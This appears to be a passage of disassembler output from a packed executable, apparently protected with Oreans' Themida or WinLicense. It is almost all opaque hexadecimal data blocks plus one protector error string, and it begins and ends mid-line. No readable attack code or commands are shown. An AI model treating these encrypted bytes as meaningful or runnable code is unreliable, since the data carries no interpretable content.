744C5F5h, 66CC389Eh, 7F73F5BAh, 4890F6BEh dd 0EC7F73F5h, 3258C42Ah, 66386A60h, 0CF634B70h, 0F5CE1206h dd 73B97F73h, 913C3DBAh, 0F656BB31h, 96855CD2h, 198B98A9h dd 7F7391C3h, 331FB375h, 44h, 9997658Bh, 7DA0CA05h, 997F7393h dd 0B319DC6h, 31193E40h, 33D21D01h, 9428D846h, 2EFE2484h dd 8E5B0F34h, 1D836B90h, 19547389h, 0AA0A755Bh, 5B399444h dd 5686EC79h, 0E2795B39h, 12A66820h, 0E77F4B6h, 980421F4h dd 5BA71732h, 92B77975h, 76480EDEh, 0D735B80h, 0F6BC8C90h dd 20082D27h, 47A795BAh, 5BBF3BE1h, 0E77B3D79h, 21464411h dd 80A59B6Dh, 93F901CCh, 795BBF45h, 0A2C72DEFh, 0E8A25BBDh dd 0D95F1890h, 8E920F09h, 0FF9FC4BEh, 359B072Ch, 737398E2h dd 6E380694h, 163BA1A3h, 474BC82Eh, 6A587D77h, 577C7244h dd 0F0C5DB6Fh, 62EB7967h, 0DBAB31EAh, 0EBE5B5DBh, 0F561A379h dd 0AD13D5FBh, 6C92F230h, 0E830A29Ch, 8CFBF561h, 0CEC898CAh dd 572DC1A9h, 0B4688D87h, 0FBC7ECE2h, 5828AE67h, 7FA3E15Eh dd 0B81EE222h, 0FBF53960h, 89225214h, 0CFE39CCh, 0FD7ADB2h dd 6F3F15A9h, 3C625075h, 0D6D4A270h, 0CF63C9B1h, 0AD193A0Dh dd 0DD378847h, 6BE8AAF1h, 789D9767h, 14C42A8Ah, 20F5DD31h dd 0A89A2E5Eh, 0BDA03B50h, 8A845329h, 5A138B65h, 8D0A04D4h dd 5C5E294Fh, 0E5BB4F37h, 8F61B15h, 861A10E2h, 68D4F1C4h dd 1715E208h, 59E66D83h, 264CFFF5h, 6DC95D57h, 5A2A2EABh dd 6C62345Ah, 2FED5F47h, 49EFA549h, 8FB52187h, 2F2DFBBDh dd 97BC220Ah, 5E521BAFh, 1FA549BAh, 72F8B113h, 272BA8A2h dd 81355A5Ch, 0CA91B6B4h, 22ED732Ch, 0C08EB420h, 90D2EC2h dd 29173C3Eh, 49B563C9h, 0FDBFDFA5h, 6AFE00CBh, 0A7CCC294h dd 169C55CDh, 0C8CC494Bh, 698FFBFDh, 410A9E9Ch, 39A5CEA1h dd 24494313h, 3298A83Ch, 0D58D7D17h, 0DE92B779h, 3CF0150Fh dd 6A4E736Dh, 49934D06h, 0AB76FCB5h, 58282CA9h, 0B585395Eh dd 59294FBBh, 3B02CB5Fh, 9A9C678Dh, 0F8F2C175h, 0D7C96292h dd 74FB9679h, 0A127E0E0h, 1C5AD7D1h, 946224F6h, 230B3096h dd 902426F1h, 3096B6C3h, 210062h, 0E02D0000h, 4EEE1315h dd 8EEE5A7Bh, 7393F028h, 2EC2847Fh, 0BAEDB81Eh, 0CD8F755Bh dd 1E4950h, 0E0500000h, 81A71315h, 561FB3B5h, 56C2E3B6h dd 5B8BF9F0h, 0ED591B75h, 0DAFFF5C7h, 0D43D5EF2h, 3B0E86E5h dd 7148AE1Ah, 0CF755B86h, 9ED3096Fh, 0D765795Bh, 1E90E08h dd 1DAB079Bh, 61ED534Dh, 8EB19D3Bh, 695E316Dh, 789ED797h dd 59A95B4Eh, 80E6CEF3h, 765FAE14h, 0AD398F80h, 9304EBD4h dd 0BB218D3Ah, 7E77A91Dh, 83EF5517h, 0FE92905Dh, 0D5C29535h dd 32E60B05h, 9C026862h, 0A70D030h, 7E77A9D2h, 0FA10A466h dd 745F6D7Dh, 4B71DD9Fh, 0E9E7B57Bh, 32020683h, 0ACD8CA38h dd 7954BF72h, 131FC2h, 0E1D7A800h, 94926064h, 45471317h dd 0FCF2C4C8h, 0B0AE7B7Fh, 93623033h, 474BC8C6h, 0FD017E78h dd 0AFB33032h, 4268E5DFh, 0C58C4CB2h, 0D5A87958h, 9278A060h dd 0C3967F73h, 0B2D636A2h, 0B1A7D5FBh, 6035EB00h, 9C7389B9h dd 624D63F7h, 84755B76h, 653056C2h, 2E00CA97h, 0C52B1338h dd 0E652B8A0h, 988E6086h, 5B4EF626h, 2CC08279h, 3A3C070Bh dd 97916115h, 76042F29h, 17CEA9BEh, 12A0h, 0E5625829h dd 981513E1h, 49C6C894h, 7D7345h, 0B4312FFCh, 4714E5B1h dd 0F9C8CC49h, 0B37E82FFh, 603034B1h, 33C3E966h, 58C50FCDh dd 0E1562979h, 683821F4h, 93DA0268h, 9C5E7F73h, 0FE64D036h dd 755BBE33h, 0E1077335h, 94981513h, 487EFEC6h, 0E5BA8B0Ch dd 466C5A7Fh, 70587D77h, 3C3606DCh, 0FEB74B17h, 2FACAA78h dd 0D0F64C30h, 0FAE20701h, 0B0CDA466h, 72703E24h, 5386594Dh dd 723E795Bh, 0CB974B70h, 0D4F2A4C9h, 15868E03h, 42FB99DEh dd 14FC1C82h, 0B678795Bh, 0FB5B0D50h, 5B144795h, 9B2FF179h dd 0FC22E29Bh, 0C99F332Dh, 4280FDFBh, 145C7CE2h, 16D8795Bh dd 0E0DEAC82h, 5F481BBBh, 89719690h, 0BD93B723h, 0CCA8F7D0h dd 94FA0A9Eh, 7376E77Bh, 74723F65h, 77D3674Fh, 0B71D1BE9h dd 585A254Bh, 2E54B4C4h, 0CCC69660h, 0C08D4166h, 4FB59DC2h dd 5115E5BBh, 6CD7B249h, 49184ABAh, 2E6CE94Fh, 0C7969B0Ah dd 69FDC099h, 0A4C9C393h, 0A8143104h, 0D862642h, 1C884A79h dd 926026F6h, 21876F94h, 0AD0A0A4h, 0AAA4733Dh, 0CB311F44h dd 6D0C850Dh, 99FF6527h, 0E401D474h, 0A5BB1278h, 1BDD6724h dd 0F9EFD9ADh, 914823A0h, 1150h, 951208D9h, 48C5C391h dd 0F9767844h, 0B02D23F5h, 64E1DFACh, 0F7C43561h, 0A9787CF9h dd 632E32AFh, 10E0E461h, 0E3739916h, 58CB5F7Dh, 9106D979h dd 739371A0h, 0ACAE797Fh, 416C3F2Fh, 73933DDBh, 0FF1D837Fh dd 797F7393h, 0D73DFFB7h, 4A73056Bh, 2B51755Eh, 0C9C7955Bh dd 2456BCA4h, 69C55957h, 0B5DB3BA7h, 7F55E9E7h, 0CB34B1B3h dd 0B12390E9h, 12B26BBh, 0F4530000h, 0A666FD1Ah, 4F532046h dd 739333E9h, 1D83457Fh, 667C10F8h, 7F7393B3h, 0A65DF4D4h dd 0CFBB61Bh, 67FE1BF4h, 0B4B280A6h, 5313A78Fh, 0B480A628h dd 855C1EB2h, 63C9D19Ch, 7F7393B5h, 3197FDBFh, 0A63B869Ah dd 8FB4B280h, 434613A7h, 73BE3123h, 3Fh, 0FE1BF4A0h, 0E046A667h dd 7F739338h, 0D6E67A3Ch, 7393AD70h, 7541CF7Fh, 76DCDAA7h dd 97036951h, 930BD137h, 6B2D7F73h, 1BA69CD7h, 0B5B380A6h dd 3E14A890h, 57D97072h, 39DD6Ah, 0F4E40000h, 0D2F81Bh dd 9340980Ah, 32F47F73h, 82A635CCh, 7F4BB637h, 0BBCB5FFBh dd 731A8255h, 4CE3C37Fh, 0B5B380A6h, 0A6861121h, 9338E046h dd 7A3C7F73h, 424410E6h, 0E96A57ABh, 0BE3123A0h, 2E16h dd 1DF44300h, 40A66900h, 7F73939Dh, 0A646DD9Fh, 0EEC0E646h dd 79EBD3F8h, 7F7393A3h, 0D58D8F5Bh, 0E0447F13h, 577D1412h dd 21DD6Ah, 0F4E40000h, 6967341Dh, 40A66C03h, 7F73939Dh dd 0BA62C8AEh, 0BE7F7393h, 0A6FF96FCh, 1412E01Bh, 0DD6A577Dh dd 0FFFFFECCh, 421F4E4h, 0A8A27298h, 7EA40414h, 95BECACh dd 160D180Bh, 0FA38BB0h, 5ECC3CF9h, 30965E75h, 79585DE8h dd 3133FE8Ch, 0D3F965CBh, 9C8C0903h, 160CDEC7h, 3EDE44B0h dd 3A79585Dh, 7DE3DDACh, 5DB66458h, 0BF057958h, 80E64606h dd 79585D58h, 0B9861ADCh, 0C15CF9C0h, 37F6h, 7CA02300h dd 867F7393h, 0FB3FBCB6h, 7F7393D8h, 833A21F4h, 8D642F42h dd 1070DC42h, 0FB201AEAh, 7C7BA113h, 3BFD7F73h, 9A3197A7h dd 0FC755B5Fh, 19B6BD3Ah, 0BD000001h, 6B2246A6h, 0A36E17F7h dd 7C8656C8h, 0EAB27F73h, 737C5484h, 0B81EE07Fh, 9A8F6224h dd 0D09CCECCh, 5BC1A9CEh, 2FD0CBEFh, 0A352AD04h, 10A4A671h dd 0F54B9A00h, 1339755Bh, 0ABAD7947h, 0C755B145h, 0F1D9FEF8h dd 2EF91F8Bh, 0E0ABAF2Ch, 0CDAA72D8h, 0CCE795Bh, 0A80E0CDAh dd 494B163Ch, 0DFA83C24h, 0A153CDF1h, 0C64D4C85h dd 0BC24F45Ah, 8E50795Bh, 746538FAh, 9F87ACA2h, 476DCD39h dd 6F577C7Ah, 6630C5DBh, 688E7376h, 937BA096h, 75E1A3FFh dd 0ECB8844Fh, 0DD8E0214h, 8FF5F7C2h, 0E6EAC29h, 149048AEh dd 0E2A47320h, 2014A870h, 760ACC73h, 0AED3D5A0h, 0AE1A3B0Eh dd 0DD51748h, 0F75D2579h, 6D0D5A21h, 0BF2B9153h, 52CFC999h dd 0C18EB414h, 5A8B51C3h, 0EBAD6D0Dh, 0B7B18157h, 20103B49h dd 23DAB5AAh, 0E34h, 79F6ECBDh, 2CA9A775h, 0DD5A5C28h dd 941107D9h, 48C5C390h, 0DBA81945h, 8D5C60DDh, 47121693h dd 0F4C4C845h, 0C7577DFAh, 58C8BB61h, 75EABD79h, 0AA1610E0h dd 9334E44Ah, 7E407F73h, 9D6D21EAh, 0FDCA7EA3h, 5426DAFFh dd 0F155395Eh, 9B397E38h, 928C5CE2h, 0E4B1D715h, 0F48552E6h dd 0C2BB312Ah, 3Dh, 0B480A6EFh, 11A58DB2h, 0EB577C4Fh dd 5BA56685h, 294E1075h, 8134173Bh, 576D8148h, 1D1DEDC3h dd 5B9661B7h, 0EB511379h, 0A09A6A6Eh, 1F08DB7Bh, 80EC5254h dd 73BACB1Ah, 2EAB6D73h, 1412E0C5h, 0C7C59397h, 0C18EB4A2h dd 0CC192FC3h, 0F47F7393h, 0BAAA2729h, 0EC52BEE7h, 755E4A85h dd 383A052Bh, 1A8648A4h, 885A28F4h, 46AF2C92h, 0B12390E9h dd 19626BBh, 0F4530000h, 6B91FD1Ah, 91799EA0h, 46A6C2FDh dd 31565020h, 7C9FB549h, 0D7F7393h, 1BA6962Dh, 1337FBB6h dd 62C8B770h, 7F7346BAh, 0B8CCFCBEh, 0A19F6C09h, 9A2E947Ch dd 0B480A65Fh, 11A58DB2h, 0C259764Fh, 80A6CBF6h, 0A58DB2B4h dd 5B784F11h, 0A63B86C4h, 20B4B280h, 31233653h, 3E80BEh dd 0F4AD0000h, 6567321Bh, 0BEC08C40h, 0E54BB199h, 2046A64Eh dd 7F33584Eh, 0A890B5AFh, 4598AE42h, 0F77F7393h, 0D3A3C935h dd 5E29A9D9h, 3E1248B7h, 1BA66FAAh, 7B1214E0h, 66DD6A57h dd 0E4000000h, 0C3982A6h, 46016449h, 0FA17F0B2h, 9D40A663h dd 0EB7F7393h, 0D3F8FAC5h, 5E0A57EBh, 0C32F958Fh, 0AED3CD9Dh dd 0A6F732C6h, 9338E046h, 7A3C7F73h, 5076D6E6h, 0ECEEBA80h dd 5479DFC7h, 0A69DD86Ch, 9338E046h, 0AE3C7F73h, 0D8C0E5DFh dd 3C08DE72h, 9557A33Ah, 0EE891135h, 70F71617h, 73FDDEFEh dd 4985A7Fh, 23A0E9C9h, 92F2BE31h, 7393EC2Ch, 32C6887Ch dd 5346h, 82A67300h, 0AE594ADh, 9D60833h, 6AFEE60Bh, 48B4D1A8h dd 0C5595322h, 0AE80A68Ah, 0AE1424B8h, 7F73936Bh, 0BBDF4B0Dh dd 561AB4EAh, 380436C2h, 0A667A236h, 4812E01Bh, 735B8076h dd 0D17DA10Dh, 835A6766h, 0BFBD8ABCh, 0E31EB29Ah, 27DD6A57h dd 0E4000000h, 38E046A6h, 0C47F7393h, 0DA18F3FEh, 0E4A65E27h dd 96B78E50h, 9D40A6FFh, 0AE7F7393h, 1BA637CEh, 7D1412E0h dd 61DD6A57h, 0E4FFFFFEh, 980421F4h, 5E49F532h, 69D59775h dd 4F11E309h, 755D8284h, 6E02EA0Fh, 51CEC898h, 0FB678C61h dd 58D94795h, 0A2FF179h, 58D9C416h, 0B871B779h, 5C753E3Bh dd 2078C1h, 0A0A50000h, 7F73937Ch, 5A80284Ch, 0CE179C0Eh dd 0E5DA5940h, 0ED81E77Dh, 0D04D4717h, 0BEC9h, 80A6D000h dd 2319EBB1h, 0C0BE8BBDh, 5D1FB39Bh, 97FD698Ah, 755BAD90h dd 416CEA0Eh, 94D610A6h, 76E2A400h, 6838550h, 9B693702h dd 6AB9BAD3h, 23891B93h, 25F898BDh, 0CD2E9400h, 0A7737606h dd 0AA379DFh, 8C5B7320h, 2B4EDA92h, 4D91BF72h, 0BD298FF5h dd 3BCFC597h, 383A052Bh, 0E4ECB7BBh, 20A45E7Eh, 0E818DA73h dd 2A65AFB9h, 1D42A869h, 1D89AA7Dh, 0D50E6B7h, 66D29479h dd 0F9767040h, 0BD2B25F5h, 0AA209ADDh, 0DD8D441Fh, 6600000Ah dd 1E229F95h, 0D1D55250h, 82860305h, 393DBAB0h, 0EEF16E6Ch dd 868451A0h, 3C360509h, 0EEF0BBBFh, 0A39D6D71h, 0A700026h dd 7958CDD2h, 0E01E9366h, 3DF11610h, 874E736Dh, 0DAAA30E9h dd 116863E0h, 0A5BB312Bh, 55h, 421F4D2h, 0C4A67498h, 0EA71EEC0h dd 0F1E04656h, 0F3755B9Ch, 15A1C531h, 18D0ABFBh, 0D0CE9CCEh dd 662FC3ABh, 6BE8E2B2h, 3B39072Dh, 3B01D1A7h, 0E50A706Eh dd 0B6857245h, 8AEA56BCh, 0D814C42Ah, 62A8795Bh, 60FD7CD8h dd 45D99B53h, 738F382Fh, 1B985A73h, 1412E0B2h, 66335997h dd 6C663668h, 0B5CB5F47h, 7F73936Eh, 44C1C38Eh, 0C9988154h dd 13383603h, 0B8A0C52Bh, 0C480E652h, 68755E4Ah, 46143AA6h dd 8BB0AE7Ch, 0FC0D3DA3h, 0A2FBAC0Bh, 0ABD1E175h, 434511DFh dd 5BAB71D7h, 0BCD7958h, 0E9BF28A5h, 0BBB12390h, 14526h dd 1AF45300h, 46A666FDh, 0C2565020h, 739369ACh, 0CE3A1A7Fh dd 0BADFD9A8h, 0A6033ED2h, 0CFBB61Bh, 67FE1BF4h, 0B7B180A6h dd 9E3EA492h, 9A7F7393h, 1EDE72D8h, 6582A6F3h, 0BC171D0Ch dd 4E25E77Bh, 0CD9BC12Dh, 0A77AF105h, 0C92F2137h, 0A5CACC97h dd 86EE29BDh, 23A0E93Bh, 0CEF2BE31h, 653041FAh, 0C3AF43BAh dd 4Fh, 0B280A6F0h, 0B4B682B4h, 5113A78Fh, 0A6C45B78h dd 52542046h, 9BB1452Dh, 7F739378h, 9FA16CFAh, 0FA62927Ah dd 26B30831h, 0BDE34FB5h, 2560F4EEh, 14E01BA6h, 6A577B12h dd 38E046A6h, 3C7F7393h, 17A34A7Ah, 48C96E2Fh, 16DBB4h dd 0F4E20000h, 0A667FE1Bh, 73939D40h, 37CEAE7Fh, 14E01BA6h dd 6A577B12h, 0E8B480A6h, 0A47932E5h, 0D440A69Bh, 7372AE6Eh dd 7408CA7Fh, 3204E2A7h, 3AD4BEh, 82C0000h, 0F8E2B4ACh dd 540D46Ch, 69001DF4h, 939D40A6h, 0DD9F7F73h, 0A61BA646h dd 0D67BBC82h, 5F913A33h, 8A72978Dh, 545220F6h, 0A66A57BDh dd 8DB2B480h, 163811A5h, 3F000000h, 69001DF4h, 939D40A6h dd 0CEAE7F73h, 0E01BA637h, 577D1412h, 0B580A66Ah, 12A68EB3h dd 0FFFEB239h, 21F440FFh, 0A4729804h, 93E23AA0h, 0D4967F73h dd 3161496Eh, 20C8A118h, 0D4E478E1h, 847E4E74h, 0CDE3775Fh dd 755EC510h, 0FB15A632h, 223EC0C5h, 5A2A50BCh, 1EF3E360h dd 0E92F9501h, 0D77958A5h, 0B1E3E5B1h, 0D6BEE3E5h, 0B824E642h dd 32C6C492h, 0A5A57569h, 0D0167958h, 66315717h, 0A7CCCA98h dd 0F8C559BFh, 0C15C6181h, 1035h, 7CA06200h, 867F7393h dd 383FBCB6h, 0E2h, 421F43Fh, 867F3298h, 9321755Bh, 0F35FC5C7h dd 0D7E1D9CFh, 5B33AB71h, 0DB0BCD79h, 49DD72E1h, 46481339h dd 0F8FAC5C9h, 989A668Ch, 89598B73h, 0EE826A8Fh, 91B28525h dd 5836BF25h, 0A6347376h, 474512D4h, 3808BCE1h, 0CB31193Eh dd 0C823F95Fh, 93557320h, 0D09BC12Dh, 55BBA9CEh, 7320C887h dd 0F589EFB1h, 0F2F4BFE5h, 71D73775h, 7320C8ABh, 799F05CDh dd 0FB7320C8h, 693FD339h, 0D7779C9Eh, 0D73DF04h, 790D0948h dd 1DAE5EEAh, 0B847585Ch, 0F0C0E652h, 0A57579F6h, 0B3B17FA5h dd 0E434A68Eh, 906D0DC0h, 0A6FA68CEh, 52AA208Ah, 776C077h dd 2EFF0000h, 0E9B7BB38h, 9E6A6EEBh, 491B1F9Ch, 5D2D653h dd 0DB878A07h, 0A21F1DEAh, 58D5CF9Eh, 0A878954h, 0BF3C3606h dd 75A30999h, 0FF7958F2h, 80A6B72Ch, 191BE6B4h, 12A60CF4h dd 4D726C3Ch, 0AACFC999h, 68C45E3h, 8D03636h, 2C7F7393h dd 8C87046Ah, 0BB312EEDh, 0BF2B81A5h, 0E69DEC65h, 506652h dd 9ABE0000h, 54CB2CB7h, 263F8072h, 3855BE4Fh, 0D5D3A0D2h dd 21F40641h, 0BF329804h, 0E1755B80h, 8065B319h, 4D0F795Bh dd 0ACEC2E7h, 0B4795B80h, 0FC3E8E6h, 501C4143h, 0D84903BCh dd 1D5CD992h, 75C15942h, 27AEF951h, 0B94D3B49h, 44CDh dd 21F4FA00h, 53329804h, 35755B83h, 0CA9A4E73h dd 7F4F53D0h, 23F31985h, 0EA1C0429h, 13FB201Ah, 4316B67Fh dd 1D50B622h, 3F737397h, 1DEB117Dh, 7E12FA1Fh, 99BF1F5Dh dd 0C4ACD1C7h, 238C8A52h, 58ECAE73h, 1282E51Dh, 44AA163Fh dd 755B8675h, 1B19A7CBh, 4EC670B3h, 109C5EBAh, 0C19E51EAh dd 496A3D39h, 0B71D7DDDh, 0B9ECB361h, 14CCCE99h, 41A8BE52h dd 33B3C485h, 0D9AC4C71h, 0BF2523F0h, 645E2D53h, 5725573Fh dd 0B84C3459h, 19C542A8h, 25E7B99Ch, 0C9C393B9h, 7E78484Ch dd 0B1535610h, 0CC835E6Ah, 61Ch, 61DED4A5h, 14918F5Dh dd 0C5424410h, 7CF9EFC1h, 30ADAB78h, 0C390612Dh, 754448C5h dd 2FFAFE7Bh, 0DCACB02Dh, 0AF3F65E2h, 58F09349h, 5DD2A579h dd 0F11610E0h, 2FA5713Dh, 0F4EA6907h, 9D42B76h, 0A39D27D9h dd 0FDD0C03Dh, 0F9066CD8h, 7B755E81h, 14E094B9h, 13797B46h dd 72CBE7A5h, 570EE9BEh, 5B8h, 0FD7A7041h, 0B02D2BF9h dd 61DEE0ACh, 18958B5Dh, 0CC494714h, 5F2C9DC9h, 11E0E461h dd 0CB969A17h, 78484CC9h, 4BDB017Eh, 58F037E5h, 0F96E4179h dd 980421F4h, 5E49C932h, 4D1F775h, 65F9E106h, 6E224709h dd 6032A0A2h, 6CBE7593h, 566DA91h, 1EEF0000h, 0D9A7AB28h dd 8E5A5EDBh, 390B0F8Ch, 0F5C2C643h, 2B777AF7h, 920F0DDAh dd 48C5BF8Eh, 0FA777944h, 0AF2C26F6h, 4593F989h, 0EF7958F0h dd 21F4A71Ch, 8945793Ah, 0DC42AFE8h, 94F50A70h, 0C587755Eh dd 1E20ECA0h, 72F914B0h, 4E05E0BEh, 514h, 59D6CC9Dh, 0C898755h dd 0BD3A3C08h, 74F1E7B9h, 28A5A370h, 0BB887925h, 6D3C40BDh dd 27F2F673h, 0D4A4A825h, 0A7375DDAh, 58F79B41h, 55CA9D79h dd 439C82A6h, 36E83EB6h, 2FCCCA2h, 5F5929DDh, 0B2D8603Ah dd 87DD1DE5h, 8817A6EBh, 0D58E8E22h, 271DEF15h, 0A8F794F7h dd 0EB7FF629h, 0CE4B4515h, 0DB00FACAh, 73FC34E7h, 0A909BB7Fh dd 44B6B883h, 7F73FC94h, 4A4ADEA0h, 413B0B91h, 0F6F0C0C4h dd 534D1DD1h, 0A67298D6h, 3977FA4h, 0D9456E41h, 5BFD6873h dd 0A3C88A75h, 5BE36DAFh, 57105679h, 599B9FDAh, 1CDF3C1h dd 5EF2DAFFh, 3F72h, 0B3A6CA00h, 229EE7DAh, 0A6A9E478h dd 84B6B080h, 6628BCB2h, 0E0067293h, 71811513h, 5BBE8C0Bh dd 78E4A675h, 4F309754h, 32C619F0h, 0E3A37569h, 0D61C795Bh dd 9FD9A01Dh, 0D4DDC159h, 0A000000h, 7D4A10E0h, 0C725A7Fh dd 686633E7h, 0C5BF8F43h, 6B613359h, 1CA5E46h, 6837D4Dh dd 738FDDC2h, 9B95657Fh, 844A1A1Eh, 0B884B6B8h, 43A991B6h dd 0CB1177D7h, 6D7F7397h, 0AE4E17ABh, 0E84EBADBh, 755BA181h dd 0FF961B3Fh, 67C00D2Eh, 0C9053337h, 53E7C403h, 0C8B835F7h dd 0FE64D0F5h, 7375B39Fh, 0B6BD799h, 0F0C75CE7h, 0E77B0D7Dh dd 0C9464411h, 8CFAF8C5h, 0B40D592Ah, 0A520D7B2h, 2E000003h dd 0E6EA675Dh, 999D1A18h, 4A4ECBCDh, 1058278h, 0B6B93634h dd 4E4C19E8h, 4FECDD1h, 0B6B88387h, 6B653539h, 0D238C8EEh dd 7958F60Ah, 0E0E65B2Eh, 5A981513h, 934494FAh, 2EF07F73h dd 0FAF4C49Ah, 0EE66A8Eh, 0FAEB007Ch, 73324494h, 0C82EF07Fh dd 0F4AA1334h, 32980421h, 755BBEABh, 2826F319h, 2B871B03h dd 30564469h, 0BAD06462h, 795B8666h, 0E5621B61h, 0C1594494h dd 0DE22h, 82A64F00h, 5AC04146h, 7F73B282h, 2FC4F4B6h dd 471DB17Ch, 0A4587D77h, 0C0B4D9D7h, 7F73AFDFh, 1C999363h dd 0C0187EDEh, 747F73B7h, 78481EB2h, 8CB2127Eh, 0B49CC1BFh dd 73B79A42h, 48DC9E7Fh, 0E70CDF7Fh, 26F51B7Bh, 8B1F072Ch dd 5B811675h, 0D8A6CC75h, 1E43410Eh, 0C3ABD036h, 0A1C6C491h dd 3BC925B9h, 964A6F6Dh, 268CEC4h, 0A1C29585h, 63ABCF35h dd 7C97375h, 0AAA8759Bh, 5E5C292Dh, 0C2A40F0h, 7A310CB4h dd 29Ch, 0E15E5425h, 94110FDDh, 45C2C490h, 0FC796F41h dd 0B02D2BF8h, 4310E1ADh, 0F5C4C845h, 0AF7A7EFBh, 5C2C30ADh dd 2FBFE562h, 58F513C9h, 0DD522579h, 7AFF82A6h, 0B8DAB693h dd 0B9814E24h, 8856B7A8h, 94A15A8Ah, 3438B51Bh, 0AFED6A64h dd 98BDBB89h, 0A6E11CB0h, 1FB3B580h, 137F7949h, 938F4DB3h dd 0E7A97F73h, 6D68A53h, 0CC9F8F0Ch, 0B7DB3BA7h, 7DB8EF04h dd 5167FB7Bh, 755B77DEh, 2A3A7400h, 0D3BB57ECh, 5A4AAF6Dh dd 0A107C979h, 0C828163Bh, 4ADA0268h, 9C5E795Ah, 5A4AF22Ah dd 15FA8679h, 0F3322DBCh, 2036CA30h, 795AE2FCh, 13383A06h dd 0E219BF25h, 591B795Ah, 365B5927h, 712BE45Ch, 4101BA00h dd 2B504E1Bh, 97E2AF43h, 1FC15A9Ch, 2Ch, 0C982A64Ch, 0AEA87708h dd 0A1A5A37Eh, 5B784B0Dh, 6F2289EFh, 9254755Bh, 91A7796Dh dd 0DA20795Ah, 31D5A421h, 2BE1C15Ah, 0E000000h, 73937DA0h dd 9DC6997Fh, 8AA4CB31h, 0E40A755Bh, 0EF61B15h, 0DF5C1E7Ah dd 2C347DA1h, 6C886E44h, 5B79D606h, 3AA06279h, 80A66BA6h dd 0AB93B8AEh, 95825517h, 0BFA7CCC6h, 0A087ED59h, 0D2755BAFh dd 25F7EB10h, 9E795BB7h, 0BBDF9F58h, 10E060D2h, 0AA1CE616h dd 0F6268CF8h, 82795B73h, 1A5F2CC0h, 9CC15A0Bh, 2Eh, 937CA0C9h dd 264C7F73h, 0C3C59157h, 0BC50B69Eh, 92FE27FAh, 5B8A452Ch dd 0F1571F75h, 795B992Bh, 0A8258B4Dh, 97B466Ah, 119C158Fh dd 21F4427Dh, 0D5329804h, 3755E49h, 0D99F3DA3h, 0D7997958h dd 8A59E743h, 98BE2A90h, 393302C8h, 49C62C14h, 567B7545h dd 56C2E3B6h, 701D0F6h, 35D73h, 0A3657375h, 47411137h dd 0FCF6C6CAh, 3F6437D7h, 20DE6DD3h, 7638790Dh, 206D9208h dd 883F1AAAh, 0B0h, 0F5726839h, 0A82523F1h, 59D6D8A4h dd 108D8355h, 0C4413F0Ch, 572495C1h, 9D8DC59h, 0C38E920Fh dd 704044C1h, 43D3F976h, 58FB3FDDh, 0F1663979h, 49F282A6h dd 562B28A0h, 7FE3E257h, 65F95F13h, 47B3D0A3h, 0E45B81E7h dd 1BDD7F73h, 7B117787h, 1D755E3Dh, 0B282365Bh, 9DFD3BB8h dd 5852E137h, 3DD19379h, 789D9767h, 3849D784h, 8C45BD74h dd 0BF3C3606h, 5725EBBBh, 0E4AEB88Fh, 69CF3451h, 8AF65C44h dd 68989664h, 5D8D6F81h, 7841D541h, 90FCF2C4h, 0AB427B6Ch dd 0BB4F364Fh, 0D99226F2h, 0C898353h, 193E3808h, 362h dd 3A876900h, 0F4190FE0h, 51767040h, 0ABD0D29Dh, 92E28F7h dd 658A8855h, 0C1E6E4B1h, 20453B0Dh, 799EA06Ch, 0D4F9F7C5h dd 0E08950FFh, 405h, 4E88300h, 5C240487h, 68243C89h, 28E0h dd 56243489h, 0C681E689h, 4, 8704EE83h, 895C2434h, 5157240Ch dd 43CC0B9h, 59CF890Bh, 2F883DBEh, 5FFE2911h, 240C8B54h dd 5604C483h, 0A9242C81h, 8F7B2775h, 41810841h, 2775A908h dd 240C8B7Bh, 5E08950h, 4, 8704C083h, 8B5C2404h, 89512434h dd 4C181E1h, 83000000h, 0C8704C1h, 0DEE95C24h, 0CDFFFD15h dd 7EF96CDCh, 697CB881h, 0C503062Bh, 691AE0FFh, 0C1863854h dd 0DBD064C6h, 91383B77h, 68895733h, 0AE87880h, 61000000h dd 0A8371362h, 0E1DF7B52h, 138D0F46h, 0E9000000h, 0Eh dd 0E241B1A5h, 93166342h, 8A2E32B9h, 815885FBh, 70CEC0h dd 0BACB8B00h, 0 dd 8E856h, 0FDF40000h, 0AD4C44F0h, 8E9F099h, 0A5000000h dd 0EAF33E03h, 5FCBB6E9h, 10348B5Fh, 11E8h, 0C96C8C00h dd 7B04CE23h, 0F98E4699h, 445E838h, 815B9E68h, 0B8CEB8F6h dd 9E80Ah, 75510000h, 19C8F836h, 5072568Bh, 0BE9h, 5D445F00h dd 69B1DD02h, 0AA53E051h, 0F6815F59h, 0EC43150h, 820Fh dd 0C6810000h, 70C5A28Bh, 1F72E781h, 0FC562D09h, 0B310048Fh dd 83DF8BFCh, 10E902EAh, 92000000h, 0A169A1B3h, 0FCDB5EC7h dd 304CD976h, 4A31D200h, 67C9804Ah, 9040FA81h, 850FFFFFh dd 19h, 0E93DD380h, 31h, 843AB859h, 1DC17361h, 0A940D5C4h dd 0D375E4Bh, 8E8E4h, 37720000h, 0F4659D11h, 0E959500Fh dd 0FFFFFF49h, 0DA368798h, 0C9E3DD14h, 0BFEC30C8h, 400E9A4h dd 0 db 0 align 2 a3anInternalExc db '3An internal exception occured (Address: 0x%x)',0Ah db 0Dh,'Please, contact support@oreans.com. Thank you!',0 align 4 dd 57h dup(0) db 2 dup(0) word_580046 dw 0 ; DATA XREF: ___:off_43286Co ; ___:00432874o ... dd 8Bh dup(0) dd offset loc_560000 dd offset dword_445750+0A8B0h dd 0 dd 23E90000h, 0F000012h, 1085h, 0BE900h, 0A770000h, 41D814Bh dd 468BA980h, 5D858B18h, 6A062810h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 2A88C351h dd 0C840F6Ah, 0E9000000h, 7, 57DA0BDCh, 3935DB9Dh, 0F042444h dd 7E85h, 118D0F00h, 0E9000000h, 0Ch, 0E34B3C98h, 0FA67209Fh dd 0ACE45AFFh, 12B1BD83h, 0F000628h, 5A84h, 0B8F0F00h dd 0E9000000h, 6, 6B1FABD5h, 858D7070h, 6283BBBh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 95C35545h, 0AA3F9094h dd 607EE086h, 14498529h, 8B660628h, 2B6061F9h, 2814A99Dh dd 62BA6606h, 0FFFC6142h, 699589E0h, 8B062812h, 28174D85h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 0D6548CC4h, 0CC95C304h, 14E9F97Eh, 0BE000000h dd 281957E6h, 3CA4E3E2h, 0D02ADD7h, 61BF4F81h, 0F261554h dd 0C88h, 68A0F00h, 89000000h, 2807F195h, 24443906h, 60850F04h dd 